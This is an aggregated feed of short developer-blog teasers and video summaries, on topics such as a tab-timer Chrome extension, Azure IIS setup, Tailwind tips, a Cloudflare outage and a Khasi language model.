    ⭐ I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website For the last few months, I kept catching myself thinking: “I’ve only been on YouTube for a few minutes…” …and then realizing it had been way longer. So I built TabClock, a lightweight Chrome extension that helps you stay aware of your browsing habits by showing a live timer in the tab title for each website. No complexity, no dashboards, no accounts — just pure awareness. 🔗 Try it here: https://tabclock.site/ 💡 Why I built it I wanted something extremely simple: When I open a tab, I want to see exactly how long I’ve been on it If I switch tabs, the timer should pause Each site gets its own total time per day Everything stays locally in Chrome storage And it should look clean + lightweight This small thing surprisingly changed how I browse — the moment I see the time ticking, I automatically return to work faster. 🔍 What TabClock does ✔ Shows a live timer in the tab title It’s basically the “screen time for your browser,” but without the bulk. 🛠️ How I built it TabClock uses: Chrome Manifest V3 JavaScript + minimal DOM injection chrome.storage.sync for daily logs chrome.tabs + chrome.scripting APIs to inject timers A small popup UI built with HTML/CSS + Lucide icons I focused a lot on performance so it doesn’t drain CPU or cause flickering between tab switches. If anyone’s interested, I can publish a full technical breakdown or even open-source a simplified version. 🚀 Want to try it? If you want a small boost to your daily focus: 👉 Install TabClock on Chrome: https://tabclock.site/ (instant install, no signup) Would love your feedback, ideas, or optimizations! 🙌 Let’s connect If you’ve built something similar or are working on a productivity tool, I’d love to see it. Thanks for reading! 💙  ( 7 min )
    How to Create a Portfolio Monitoring System That Doesn’t Overwhelm You
    Most people don’t quit investing because it’s hard. They quit because the monitoring feels impossible — too much noise, too many metrics, too many apps, too many alerts, too many emotional spikes. A good portfolio doesn’t need constant attention. A good system makes attention unnecessary. The real solution isn’t a better dashboard. It’s a simpler monitoring architecture that prevents overwhelm, reduces anxiety, and keeps your long-term plan intact without demanding your time or emotional bandwidth. Here’s how to build a portfolio monitoring system that actually feels peaceful. Start With the Principle: Monitor for Meaning, Not Movement Stock prices move constantly. Your goals don’t. The biggest reason people feel overwhelmed is because they’re monitoring movement, not meaning. A calm por…  ( 8 min )
    [Boost]
    Recreate a Viral Tool Without Writing a Single Line of Code! FenjuFu ・ Nov 19  ( 5 min )
    Building a Custom OTP Input Component in React Native
    Introduction One-time password (OTP) verification has become essential in mobile applications for secure user authentication. While several libraries offer OTP components, they often fall short of delivering a polished user experience akin to popular apps like WhatsApp and Paytm. This article guides you through creating a custom, animated OTP Input component in React Native that offers a sleek, user-friendly interface. Smooth Cursor Blink Animation Shake Animation for Invalid OTP Auto-Focus & Smart Backspace Navigation Countdown Timer with Resend OTP Feature Native-Looking Input Boxes Without External UI Libraries Easy Integration with Any Parent Screen Our OTP component aims to be: Modern in Appearance: Rounded input boxes with smooth transitions. Intelligent in Behavior: Auto-focus on …  ( 8 min )
    How to Use AI to Stress-Test Your Spending Plan Without Spreadsheets
    Most budgeting advice still assumes you want to spend hours in spreadsheets, color-code categories, and manually track every transaction. But in real life? You’re busy. You’re tired. And your spending plan needs to survive weeks when you’re overwhelmed — not just the weeks when you’re motivated. This is where AI becomes the quiet superpower in your financial life. It can stress-test your spending plan in minutes, without a single formula or cell reference, and show you exactly how your budget holds up under real-world pressure. Here’s how to use AI to pressure-test your money routine in a way that’s simple, fast, and actually useful. Start With the Core Question: “What Breaks When Life Isn’t Perfect?” Most budgets only work in ideal conditions: predictable income low-stress weeks stable …  ( 8 min )
    REMI Evolved: Beyond the Agentic Postgres Challenge
    REMI Evolved: Beyond the Agentic Postgres Challenge Introduction REMI was originally submitted to the Agentic Postgres Challenge (DEV/Tiger, November 2025). Since then, the project has evolved significantly, surpassing its initial scope and becoming a fully auditable and secure patrimonial agent. Challenge version (2025-11-09): Basic patrimonial tables Initial technical view Event insertion Evolved version (current): Automatic auditing with functions and triggers Encrypted and signed patrimonial backups Clear roles and ACLs (remi_reader, remi_writer) Active patrimonial memory and filtered views Master key and auditable rotation Repository integrity seal Trigger example: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); GPG-encrypted dumps Verifiable SHA256 hashes Signed commits and tags Coming soon on Tiger Cloud: /publicaciones /auditoria /estado We invite the community to explore the evolved version of REMI, test the demo, and share suggestions. REMI not only fulfilled the challenge, but surpassed it — continuing to grow as a secure, auditable patrimonial agent. REMI has evolved beyond its original submission to the Agentic Postgres Challenge. This post documents its transformation into a fully auditable, secure, and operationally transparent agent.  ( 6 min )
    GenAI for Engineers, What's Real, What's Not and What's Coming
    Original: https://codingcat.dev/podcast/genai-for-engineers-what-s-real-what-s-not-and-what-s-coming By the end of this post, you’ll understand: The new engineering landscape GenAI has created Practical best practices for leveraging GenAI in your work Mistakes and misconceptions you absolutely want to avoid Inspiring tools and frameworks that are already changing the game What’s on the horizon, both thrilling and a little overwhelming Let’s get started! You know the feeling—everyone’s suddenly talking about automation, agents, and how AI is about to revolutionize everything. You read about companies “eliminating jobs” thanks to GenAI, and you’re wondering… Is this really happening? Is this a threat, or is it a huge opportunity? If you’ve ever sat with those questions, you’re in good co…  ( 11 min )
    🌐 Deploying a Web Server VM and Installing IIS on Windows
    When building or testing web applications on Azure, creating a Windows Server VM and installing Internet Information Services (IIS) is a fundamental skill. IIS is Microsoft’s web server platform used for hosting websites and web applications. This guide walks you through creating a Windows VM, connecting using RDP, installing IIS, and verifying your setup. Sign in to the Azure Portal Navigate to Virtual Machines → Create Size: Standard B1s or higher Choose Authentication type: Password or Azure AD login In the Networking tab:Ensure RDP port 3389 is open for remote access Ensure RDP port 3389 is open for remote access Disable Monitoring Click Review + Create, then Create Once deployment completes: Go to the VM Overview page Increase idle time Click Connect → RDP Download the .rdp …  ( 7 min )
    REMI Superada: evolución tras el Agentic Postgres Challenge
    REMI Superada: evolución tras el Agentic Postgres Challenge Introducción Cuando participamos en el Agentic Postgres Challenge (DEV/Tiger, noviembre 2025), REMI fue publicado en su versión inicial. Desde entonces, el proyecto ha evolucionado y alcanzado un nivel superior de desarrollo. Versión reto (2025-11-09): Tablas patrimoniales básicas Vista técnica inicial Inserción de eventos Versión superada (actual): Auditoría automática con funciones y triggers Respaldo patrimonial cifrado y firmado Roles y ACLs claros (remi_reader, remi_writer) Memoria patrimonial activa y vista filtrada Clave maestra y rotación auditable Sello de integridad del repositorio Ejemplo de trigger: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); Dumps cifrados con GPG Huellas SHA256 verificables Commits y tags firmados Próximamente disponible en Tiger Cloud: /publicaciones /auditoria /estado Invitamos a la comunidad a revisar la versión superada de REMI, probar la demo y aportar sugerencias. REMI no solo cumplió con el reto, sino que lo superó y sigue creciendo como agente patrimonial auditable y seguro.  ( 6 min )
    สร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น
    โพสนี้เขียนโดย นาย กษิ ศรีสุวรรณ 6730614006 AISE ในการสร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น ณ ตอนนี้ ผมได้นำ LSTM หรือในชื่อ Long short-term memmory ซึ่งเป็น Algorithm ที่อยู่ใน Supervised Learning ในหัวข้อย่อย Neural Network ซึ้งพัฒนามาจาก RNN หรือ Recurrnt neural network ในความเข้าใจของผมตอนนี้ในหัวข้อ LSTM คือ Algorithm ที่แบ่งไปได้ 3 ส่วนคือ Forget gate คือ gate ที่จะตัดสินใจว่า ข้อมูลในเซลล์ควรถูกลืมหรือเก็บไว้ Input gate คือ gate ที่ตัดสินใจว่าจะนำข้อมูลใหม่เข้าเซลล์อย่างไร Output gate คือ gate ที่จะเป็นตัวเลือกข้อมูลที่จะแปลงจากเซลล์เป็น hidden state และส่ง และนี่คือแผนภาพของหน่วยการสร้าง LSTM  ( 6 min )
    Codeless Test Automation Tools — Are They Worth the Hype?
    “Create tests without writing a single line of code!” “Automate faster than ever!” Empower manual testers to become automation heroes!” But as with most trends in tech, it’s fair to pause and ask: Are codeless test automation tools really worth the hype? Or are they just another shiny buzzword? Let’s break down the good, the bad, and everything in between — in a simple, conversational way. ## Why Codeless Automation Became So Popular Before we dive into pros and cons, let’s get one thing straight… Codeless automation didn’t rise because testers suddenly got allergic to code. Teams needed speed. Codeless tools stepped in and said… And naturally, people got interested. ** ** In simple words: It’s automation built using visual workflows, drag-and-drop components, prebuilt functions, or AI ass…  ( 9 min )
    When AI Becomes Your Senior Engineer: How Beginners Level Up Faster
    Every developer remembers the feeling: knowing just enough to be dangerous, getting stuck on small problems, and wishing a senior engineer could sit beside you and explain what’s really going on. In 2026, that mentor doesn’t need to be a person—you can now pair-program with an AI system that thinks, reasons, refactors, and explains like a seasoned engineer. This changes everything for beginners. Instead of waiting years to develop intuition, they gain it through daily, on-demand mentorship—the kind that accelerates growth far beyond what traditional learning environments can offer. Why Early Developers Struggle Without Senior Guidance Junior engineers typically get stuck on: understanding why something works, not just how learning how to structure features instead of patching functions n…  ( 8 min )
    I deployed 200+ AI projects in production. Here's what actually works (and the BS you should ignore)
    TL;DR After deploying 200+ AI projects in production over 3 years (2022-2025), I've seen the same patterns repeat: 80% of AI projects fail, not because of the technology, but because of organizational chaos, unrealistic expectations, and hidden costs that nobody talks about. This article breaks down: The 5 failure patterns I see systematically (with fix strategies) Real stack comparison: Make.com vs Zapier vs n8n, ChatGPT vs Claude vs Gemini Human-in-the-Loop architecture that actually scales True Total Cost of Ownership (TCO) — spoiler: it's 5-10x your API costs EU compliance (AI Act + GDPR) you can't ignore My background: 15 years in data/automation, founder of ENDKOO (Qualiopi-certified training org in Lyon, France), consultant for enterprises ranging from SMBs to CAC40 companies. Ave…  ( 15 min )
    The Future of Developer Education: Why AI Will Replace Half Your Textbooks
    Developer education has always struggled to keep pace with the speed of technology. By the time a textbook is published—whether physical or digital—the frameworks have shifted, the best practices have evolved, and the real-world use cases have changed. In 2026, the gap between static materials and dynamic knowledge is wider than ever. AI is closing that gap. Not with more content, but with living, adaptive learning systems that transform how developers study, practice, and build. The future of developer education won’t be anchored in textbooks—it will be powered by responsive, intelligent tools that learn alongside you. Static Knowledge Doesn’t Fit a Dynamic Field Software engineering is a changing environment. New models, tools, and methods emerge at a rate no traditional curriculum can…  ( 8 min )
    Website savings: where to cut and where to stop
    Saving money on your site can be smart — or a disaster. Here’s how to do it right. Do it smart, and you’ll improve efficiency and reduce costs. Do it wrong, and users leave, bugs pile up, and revenue drops. Save on underused tools, subscriptions, and bloated hosting. Don’t cut design, UX, or dev time—users hate it. Automate and monitor for real efficiency. Check your numbers: savings without data = guessing game. Introduction You want to save money on your website. Cool. But if your “savings” crash the site, slow down pages, or break checkout, that’s not smart—that’s tragic. So, where should you save, and where should you definitely not? Let’s break it down. Hosting you don’t use – If you’re paying for giant servers that sit idle most of the time, downsize or switch to …  ( 7 min )
    What Is Worqlo? Turning Natural Language Into Deterministic Workflows
    Most teams don’t suffer from a lack of data. They suffer because the path to that data is slow: dashboards, spreadsheets, custom reports, Slack messages, and internal tools that all require different interfaces. A simple question like “Which deals are stalled?” can take 5–10 minutes of navigation. Worqlo tries to remove that friction by adding a conversational layer on top of enterprise workflows. Users ask questions in plain language, and Worqlo turns them into safe, deterministic actions across CRMs and internal tools. This post breaks down what Worqlo is for engineers, how it works under the hood, and why this model is becoming more practical than UI-driven workflows. Enterprise work is fragmented because every tool has its own UI. Engineers end up building: custom dashboard filters int…  ( 8 min )
    The Overwhelmed Developer: Drowning in the Deep End of the Tech Pool
    Anyone else remember the good old days? Back in 2001, armed with VB6, classic ASP, and SQL 7.5, we meticulously crafted applications. Manuals were our Stack Overflow, UI standards were gospel, and a six-month design phase was just the process. Deployments involved a prayer and hoping someone in ops dropped the right files on the right servers. We were building, iterating, and sometimes, even making things better. Then a shift happened. The "how" started eclipsing the "what." Solving the tech problem became paramount, often at the expense of the business problem. "Faster and better" became the mantra, and the hole we dug got deep. The silo between development and operations birthed DevOps. Suddenly, servers were code, YAML and pipelines dictated deployments, and human error transformed into…  ( 8 min )
    A Deep Dive Into ESP-CSI: Channel State Information on ESP32 Chips
    Most people know Wi-Fi only as a way to connect phones, laptops, and IoT devices to the internet. But Wi-Fi can do much more. Espressif’s ESP-CSI (Channel State Information) technology allows ESP32-series chips to “sense” what is happening in the environment using only Wi-Fi signals—no cameras, no radar, no extra sensors. Every Wi-Fi signal changes as it passes through a room. This makes it possible to detect: Human presence Motion Gestures Indoor positioning Environmental changes And all of this works using only an ESP chip and Wi-Fi. Normally, Wi-Fi devices only report RSSI (Received Signal Strength Indicator), which is a single number representing signal strength. How each frequency of the Wi-Fi signal was changed. How much it was absorbed or reflected. How much noise is in the environm…  ( 8 min )
    I got tired of writing .cursorrules manually for every project, so I built a visual generator (Free & Open)
    Hey everyone, I've been using AI editors like Cursor and Windsurf heavily lately. The biggest game-changer for me was using context files (.cursorrules or AGENTS.md) to stop the AI from hallucinating or using old syntax. But I found myself copy-pasting the same prompts over and over or forgetting to specify things like "use functional components" or "strict typing". So, I spent this afternoon building a simple Context Generator. How it works: It’s a simple wizard that asks you 10 questions about your project (Tech stack, Coding style, Testing preferences, Personality, etc.) and instantly generates the Markdown file ready to drop into your root folder. The Stack: React + Vite Tailwind CSS It's completely free, no sign-up required. I just wanted to solve this small friction point for myself and thought it might help you guys too. Link: https://aigenta.netlify.app/  ( 6 min )
    GraphBit’s Agentic AI Mechanisms Compared to Other Agent Frameworks
    GraphBit (Rust core + workflow graph + lock‑free concurrency) Execution engine Compiled Rust core schedules a WorkflowGraph with dependency awareness, spawning ready nodes concurrently Per‑node‑type concurrency with atomics (no global semaphore); fast‑path skips permits for simple nodes Python/Node bindings delegate to the Rust executor (low overhead orchestration) What this means Lower orchestration overhead, predictable scheduling, high throughput under load GraphBit scheduling of dependency‑ready nodes // Select nodes whose dependencies are all completed let mut ready_ids: Vec = Vec::new(); for nid in remaining.iter() { let deps = graph_clone.get_dependencies(nid); if deps.iter().all(|d| completed.contains(d)) { `ready_ids.push(nid.clone());` } } Spawnin…  ( 7 min )
    Failure
    This was one of my earliest mistakes in web development. I spent hours trying to center a div using flex… but I applied flex inside the div, not on its parent. So the text got centered — but the box itself never moved. 😭 Looking back, it’s funny. At that time, it felt frustrating. But small mistakes like this are exactly what taught me how CSS actually works. We all start somewhere. 👉 What was one beginner mistake you’ll never forget?  ( 6 min )
    How We Built an AI‑Native Object Store (Tensor Streaming, Erasure Coding, QUIC, Rust)
    Over the past year my team and I have been building an AI product that needed to serve large LLM model files reliably, quickly, and privately. We assumed the existing tooling would “just work”: Git LFS Hugging Face repos S3 / MinIO generic object stores But once we started working with multi‑GB safetensors, gguf, ONNX, and datasets, everything broke in predictable and painful ways. This post explains the technical journey that led us to build Anvil — an open‑source, S3‑compatible, AI‑native object store built in Rust — and how we designed it around: Tensor‑level streaming Model‑aware indexing QUIC transport Erasure‑coded distributed storage Simple Docker deployment Multi‑region clustering gRPC APIs + S3 compatibility And why we decided to open source the entire project (Apac…  ( 8 min )
    🎨 Tailwind 3.5 Tricks for Scalable Frontends in 2025
    Tailwind CSS keeps evolving, and 2025 is all about efficiency, scalability, and maintainability. Let’s explore advanced tricks to level up your frontend without creating a mess of utility classes. @apply Instead of repeating classes, use @apply in your CSS or SCSS to create semantic, reusable patterns. ✅ Button variants ✅ Card layouts ✅ Responsive typography This gives you Tailwind speed without losing readability. Tailwind 3.5 allows arbitrary values for spacing, colors, and more. Example: bg-[color:var(--primary)] or mt-[22px]. This flexibility reduces the need for custom CSS while keeping the system consistent. Leverage tailwind.config.js for: Extending the theme Adding design tokens Managing breakpoints This keeps large projects maintainable and reduces visual inconsistencies across teams. Tailwind’s JIT compiler makes dark mode switching seamless and animations lightweight. Tips: Use dark: variants for components Animate layout changes with transition-all or motion-safe utilities Combine with Framer Motion for advanced interactions 💡 Workflow Tips Use extracting component classes to avoid huge inline class strings Pair Tailwind with Storybook for design system previews Adopt linting rules to enforce design consistency Tailwind isn’t just a utility library — it’s a scalable design framework when used thoughtfully. 📚 Tailwind CSS Docs 🧠 Tailwind @apply Guide 🛠️ Framer Motion Docs 🖼️ Frontend That Converts — Full Article 📲 Follow me for more dev tips, tools, and trends! 📸 Instagram: @tahamjp 🧠 Dev.to: @tahamjp 🐦 X.com: @tahamjp 💬 Telegram Channel: The Intelligent Interface 🔑 Interface Insider (exclusive): Join the community – share, learn, and collaborate with other members! Check out my latest dev articles and tutorials — updated weekly! Let’s keep building cool stuff 🚀  ( 7 min )
    Задача с собеседования в Google: Sort Colors
    Задача Дан массив целых чисел. Значения могут быть только 0, 1 и 2. Нужно отсортировать на месте (без доп. памяти). Использовать библиотечные функции сортировки нельзя. Например, Input: nums = [2,0,2,1,1,0] Input: nums = [2,0,1] Ссылка на leetcode: https://leetcode.com/problems/sort-colors Сортировки вроде QuickSort, MergeSort не подходят, т.к. используют дополнительную память. QuickSort - O(log(n)) для рекурсии, MergeSort - O(n) для временного массива. Простые сортировки, вроде Bubble Sort, Insertion Sort, Selection Sort дополнительной памяти не требуют и работают за O(1), но временная сложность - O(n^2). Хотелось бы побыстрее. Сортировка подсчетом вроде подходит хорошо. У нас всего 3 возможных значения, поэтому можно вначале пройти циклом по массиву, посчитать, сколько у нас нулей, еди…  ( 9 min )
    The Art of Reading Code: A Skill for Every Developer
    There's a moment in every developer's journey that quietly changes everything. It doesn't announce itself with fanfare. There's no certificate, no congratulatory email, no level-up notification. It happens when you're sitting there, staring at someone else's code—maybe it's a legacy codebase at your new job, maybe it's an open-source library you're trying to understand, maybe it's a pull request from a teammate—and suddenly, instead of seeing a wall of incomprehensible symbols, you start to see patterns. You see intent. You see the ghost of the developer who wrote it, their thought process, their constraints, their clever workarounds and their desperate hacks. You begin to read code the way you read a book, understanding not just what it says, but what it means. This is when you stop being…  ( 39 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with One Feature Most Notion setups turn into a jumbled mess because databases live in isolation—tasks, notes, and projects all compete for your attention. Jeff Su’s video shows how the Relations feature can link your databases, surface only the info you need, and let you build self-filtering templates that automatically organize new projects. It’s the foundation of a powerful command center and takes just a couple of minutes to learn. He walks you through beginner mistakes, the “correct” way to structure Notion, manual vs. automated approaches, and even provides a shareable template to follow along. Plus, you’ll find timestamps, resource links, and bonus tools to level up your productivity game. Watch on YouTube  ( 6 min )
    I Needed Date Math in Formulas, So I Built a Compiler (and Learned a Lot)
    I recently shipped a small expression language called littlewing, written in TypeScript, now in production at my company. It parses and evaluates formulas like: basePrice * (1 - discount) + seasonalBonus Marketing stores these formulas in the database, and they get evaluated at runtime. Nothing unusual so far – lots of companies do the same. But marketing now wants something bigger: “We want a visual formula builder where we can create and update our pricing logic ourselves… without developers.” Cue dramatic music. We were already using expr-eval. Great little library, but two big blockers: It has no concept of dates, but marketing needed formulas like: paymentDate < NOW() + FROM_DAYS(7) It doesn’t expose the AST, so building a visual editor on top of it would be painful. And since e…  ( 10 min )
    The Smart Founder’s Guide to SaaS MVP Development: Build Lean, Validate Fast
    To build a successful SaaS MVP, identify one painful customer problem, ship only the must have feature that solves it, and validate fast with real users. Use lean experiments, no code tools, and structured feedback to decide what to build next, or whether to pivot. A SaaS MVP (Minimum Viable Product) is the simplest working version of your software that solves one core problem for a specific audience and lets you collect real user feedback. It is not a half baked product. It is a learning tool designed to answer: “Are we building something people will actually use and pay for?” Prototype Often non-functional or partially functional Used to visualize or test UX and flows Great for internal reviews and early user interviews SaaS MVP Fully functional around one core use case …  ( 11 min )
    Migrating an ERP-Driven Storefront Using a Message-Broker Architecture (RabbitMQ)
    Modern e-commerce platforms increasingly rely on modular, API-driven components. ERPs… do not. They are deterministic, slow-moving systems built around the idea that consistency matters more than speed. Recently, when migrating a custom storefront to Solidus, a complete open source e-commerce solution built with Ruby on Rails for one of our clients, we faced this architectural tension head-on: How do you build a fast, flexible, customer-facing storefront when the ERP must remain the single source of truth for products, stock, and order states? The problem that has arisen here was ensuring the data consistency between the [Solidus](https://solidus.io/) storefront and ERP system. It was obvious that event-driven two-way communication between them needed to be established, but the question wa…  ( 11 min )
    The future of ViBE coding: 5 years ahead
    Vibe coding—collaborative coding with AI—is transforming the way developers work. But what might the next five years bring? Let’s explore three possible futures: the best-case scenario, the worst-case scenario, and a realistic middle-ground. All with a healthy dose of humor, because coding without laughter is basically debugging in slow motion. Imagine an office—or a home setup—where AI tools are not just assistants, but truly intuitive partners. Automation nirvana: Repetitive tasks like writing boilerplate, formatting code, or running tests are entirely automated. AI even writes unit tests before you ask for them. Bug pre-emption: AI anticipates problems before they appear—like a psychic debugging sidekick. It flags potential null pointers, tricky race conditions, or spaghetti loops wit…  ( 8 min )
    Value Object in PHP 8: Build your own type system
    Table of content Introduction The Practical Example Analysis Integers String Values The big picture Introduction In our previous articles, we learned: how to make basic value objects how to use them in an advanced way how to make entities It's time to mix all these concepts together and apply them in a practical example. This will allow us to create a custom-type system tailored to our application, extending and improving the native one. The Practical Example Let's consider a simple yet meaningful example: a library management system. We need to design the data structures to effectively represent that domain. There's no single way to do so; it depends on the specific problem we need to solve. Analysis Before writing any code, we should understand what we need to build. There is …  ( 12 min )
    When the Internet Held Its Breath: The Day Cloudflare Took Down 20% of the Web
    It started the way most digital disasters do—quietly, almost innocently. At 6:20 AM Eastern Time on Tuesday, November 18, 2025, developers around the world began noticing something strange. Websites weren't loading. APIs were timing out. Error messages appeared where content should be. And then, all at once, the internet broke. Picture this: You're reaching for your morning coffee, opening your laptop to check the news on X (formerly Twitter), planning to queue up some Spotify for your commute, maybe tackle that design project in Canva. Instead, you're greeted with a cold, impersonal message: Internal server error on Cloudflare's network Error 500 You refresh. Nothing. You try ChatGPT—surely AI should be working, right? Nope. Same error. Claude AI? Down. Spotify? Unreachable. Even League …  ( 14 min )
    How We Built Northeast India’s First Foundational AI Model from Shillong, on Our Own Terms
    We just released Kren-M™, a production-ready bilingual foundation model for Khasi and English. No outside funding rounds. No imported talent. No compromise on local understanding. We did it internally at MWire Labs (the AI research division of MWire, a Shillong-based firm that has delivered IT systems and solutions serving 8+ million citizens since 2017). Because when it comes to Northeast languages, the deepest expertise isn’t in Bangalore or California — it’s right here in the hills. Big labs throw hundreds at Indic models. We threw eight years of on-the-ground experience. We know Khasi isn’t just tokens, it’s morphology, dialect variation, cultural nuance that only someone who grew up hearing it can capture. That’s why our tokenizer cuts Khasi token count by 36 %. That’s why the model never auto-translates unless asked. That’s why it sounds like home. Kren-M™ (Gemma-2-2B base, 2.6B params): Custom tokenizer with 2,135 Khasi/Garo tokens 5.43 M hand-cleaned Khasi sentences (proprietary — our moat) Fully task-aware SFT — natural bilingual behaviour Runs offline on 6 GB VRAM Live: https://huggingface.co/MWirelabs/Kren-M White paper: https://mwirelabs.com/models/kren-m Preprint (DOI): https://www.researchsquare.com/article/rs-8144118/v1 We also open-sourced the one of the largest public Assamese & Mizo corpora + the first Garo corpus ever. Early 2026: Expect Kren-NE, Gemma-2-9B multilingual covering Khasi, Garo, Mizo, Assamese, Meitei, Nagamese, Kokborok and more. All built the same way: local team, local data, local control. The future of Northeast AI won’t be built in glass towers far away. It will be built here, by us, for us. NEindicLLM #KhasiLLM #MeghalayaAI #NortheastAI  ( 7 min )
    🎉 Proud to share that I’ve been selected to join 𝗧𝗵𝗲𝗘𝗹𝗲𝘃𝗲 𝗧𝗲𝗮𝗺 for the 𝗞-𝗧𝗲𝗰𝗵𝗙𝗲𝘀𝘁 𝗛𝗮𝗰𝗸𝗮𝘁𝗵𝗼𝗻 𝟮𝟬𝟮𝟱!
    A post by Engr. Ipaye Babatunde  ( 6 min )
    I Nuked All My node_modules and Saved ~10GB
    The Problem: When Backups Take Forever I was backing up my entire Documents folder to an external SSD. Simple task, right? Wrong. 2 hours later, I was still watching the progress bar crawl. Not because of large video files or databases — but because of node_modules. Those tiny JavaScript files, tens of thousands of them per project, were destroying my backup speed. The issue wasn't even the disk space (though yeah, 10GB is 10GB). It was the sheer number of files. Each node_modules folder has thousands of tiny dependencies, and copying thousands of small files is painfully slow compared to a few large ones. I had dozens of old projects in my Documents folder. Projects I hadn't touched in months. Each one still carrying around its own bloated node_modules like dead weight. The Breaking Point…  ( 7 min )
    The IPv4 Decision Matrix: A Framework for Infrastructure Teams
    Every infrastructure team eventually hits the same wall: you need more IPv4 addresses, and you need them yesterday. I've seen teams burn weeks debating whether to buy or lease. The problem? They're asking the wrong question. It's not about which option is "better"—it's about which option fits your specific situation. Here's a practical framework I use to cut through the noise. Forget the marketing fluff. Your decision comes down to three numbers: Time horizon (in months) Capital availability (cash on hand vs. monthly budget) Flexibility requirements (scale up/down probability) Let me show you how to use these. Break-even (months) = Purchase Price per IP / Monthly Lease Rate With current 2026 market rates: Purchase: ~$28-30 per IP Lease: ~$0.38-0.45 per IP/month Plugging in median values: …  ( 7 min )
    Understanding CI/CD: The Backbone of Modern Software Development
    Continuous Integration (CI) and Continuous Delivery (CD) are fundamental practices in DevOps that revolutionize the software development lifecycle. By automating key processes, CI/CD enables teams to implement rapid code changes and consistently deliver high-quality applications to users. CI/CD represents a set of practices that streamline the integration and delivery of software: Continuous Integration (CI): This focuses on automating the integration of code changes from multiple contributors. When developers commit code, CI tools automatically build and test the changes, helping identify issues early. Continuous Delivery (CD): This extends the CI process, automating the deployment of applications to various environments. With CD, new features and updates can be released to users swiftl…  ( 8 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? takes you on a headbanging trip through metal’s past, checks in on what the scene looks like today, and even speculates about where it might be headed next. Huge thanks to the Beato Club squad—over 50 dedicated supporters (from Justin Scott and Terence Mark to Piush Dahal and Toby Guidry) who keep the riff train rolling. Watch on YouTube  ( 6 min )
    Global Expansion: Unlocking Export Opportunities for Dairy Products
    The U.S. dairy industry is standing at a rare crossroads. Domestic demand remains strong, innovation is accelerating, and global markets are expanding faster than ever before - especially in regions where rising incomes, urbanization, and evolving food habits are driving an unprecedented appetite for high-quality dairy products. For small and mid-sized dairy companies across the United States, this moment represents more than just an opportunity — it’s an open gateway to global expansion, increased profitability, and long-term brand resilience. Yet tapping into the international dairy trade requires more than production strength. It demands strategic foresight, compliance mastery, and a workforce capable of executing global ambitions with precision. This article explores the landscape of d…  ( 9 min )
    Real-Time Video with the WebRTC MediaStream API
    Are you building a video conferencing, live streaming, or telehealth app? Then the WebRTC MediaStream API is your foundation. Learn how to grab camera/mic, manipulate tracks, and connect to peers — all with production-ready tips and code. 🔍 In our guide you’ll explore: What a MediaStream is and how it works in a WebRTC flow. Key interfaces like MediaStreamTrack, and methods such as getUserMedia(), addTrack(), removeTrack(). How to integrate advanced processing (Canvas, Web Audio) for custom effects. Constraints and quality tuning (video resolution, frame rate, echo cancellation). Connecting the stream into RTCPeerConnection: publishing and receiving tracks. Production best-practices: cleaning up streams, error handling, debugging via Chrome DevTools. Browser compatibility, secure contexts (HTTPS), polyfills. How Ant Media Server extends and accelerates this: ultra-low latency (200-500 ms), large-scale streaming, protocol conversion (WebRTC ↔ RTMP ↔ HLS). If you’re ready to build robust, scalable real-time video experiences — this guide is your next stop. Don’t just stream — stream smart. 👉 Read the full guide on Ant Media’s blog  ( 6 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with Relations Most Notion setups get messy when your tasks, notes, and projects live in isolated databases. This video dives into the Relations feature—just a 2-minute learn—that lets you link databases so each view only shows what’s relevant, forming the backbone of powerful Notion systems. In a hands-on walkthrough (with handy timestamps), you’ll see how to connect databases, build self-filtering templates, and automate new project setup. Plus, grab a free dupable template, explore the full Command Center course, and level up your workspace with extra resources. Watch on YouTube  ( 6 min )
    How AI Discovers Your MCP Tools?
    Streamlining PrestaShop: How AI Uncovers the Power of MCP Tools For any PrestaShop e-commerce manager, the grind of repetitive duties like generating sales reports or meticulous inventory audits can quickly consume valuable time and hinder growth. Enter the PS MCP Server and the MCP Tools Plus module: a duo designed to integrate an AI assistant directly into your online store. These innovative solutions aren't about a grand technological overhaul; they focus on practical problem-solving – saving countless hours on data analysis, automating routine reports, and empowering swift, data-backed decision-making. This article explores the synergy between these tools, without delving into deep technicalities. We will examine common operational hurdles, highlight the core capabilities of MCP Tool…  ( 12 min )
    Gemini 3 Pro vs GPT 5.1: which is better? A Complete Comparison
    Both OpenAI’s GPT-5.1 and Google’s Gemini 3 Pro represent incremental but meaningful steps in the ongoing arms race for general-purpose, multimodal AI. GPT-5.1 is a refinement of the GPT-5 line — focusing on adaptive reasoning, lower latency for simple tasks, and stylistic/personality controls for more natural conversational tone. Google’s Gemini 3 Pro pushes the frontier on multimodality, deep reasoning modes, and tight tooling for agentic workflows. GPT-5.1 (OpenAI) and Gemini 3 Pro Preview (Google/DeepMind) target overlapping but distinct tradeoffs: GPT-5.1 focuses on faster adaptive reasoning, developer workflows and coding reliability with new agent/coding tools and token/cost optimizations; Gemini 3 Pro doubles down on extreme multimodal scale (video/audio/images + very large context…  ( 14 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Summary Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science on The Ringer’s Rewatchables, unpacking its mix of teen fantasy, sex, drugs, rock ’n’ roll and standout turns from Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo and sponsored by State Farm, this episode is a fun, nostalgia-packed romp. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons YouTube channels and follow Ringer on Twitter, Facebook and Instagram for more deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
